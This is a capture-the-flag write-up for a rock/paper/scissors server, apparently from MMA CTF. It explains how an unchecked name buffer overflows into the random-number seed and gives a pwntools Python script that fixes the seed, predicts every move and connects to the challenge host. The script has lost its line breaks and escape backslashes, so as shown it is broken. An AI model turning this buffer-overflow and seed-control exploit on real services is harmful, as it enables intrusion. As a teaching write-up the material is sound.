Analyzing the disassembly of the server binary, we can see that the application begins by seeding the random number generator with a 4 byte integer from /dev/random. It then loops 50 times, randomly generating a rock/paper/scissors choice, and checks it against the user input.

If you take a closer look at the code that seeds the random number generator, you can see immediately after the seed is initialized but before the generator is seeded, the statically sized name buffer is filled with user data. The length of this field is not checked and it is located directly before the random number generator seed. If the user supplies a name that is greater than 0x30 characters, the seed will be overwritten. The following python script demonstrates the technique described above.

from pwn import * from ctypes import * rps = 'RPS' libc = CDLL("libc.so.6") libc.srand(0x01010101); def getNextAnswer(): comp = libc.rand()%3 mine = (comp + 1) %3 return rps[mine] r = remote("milkyway.chal.mmactf.link", 1641) nama = "A" * 0x30 nama += "x01"*4 print r.recv() print "Sending: " + str(nama) r.send(str(nama) + "n") print r.recv() for j in range(0, 50 ): x = getNextAnswer() print r.recv() print "Sending: " + x + "n" r.send(x + "n") data = r.recv() print data print r.recv() r.close()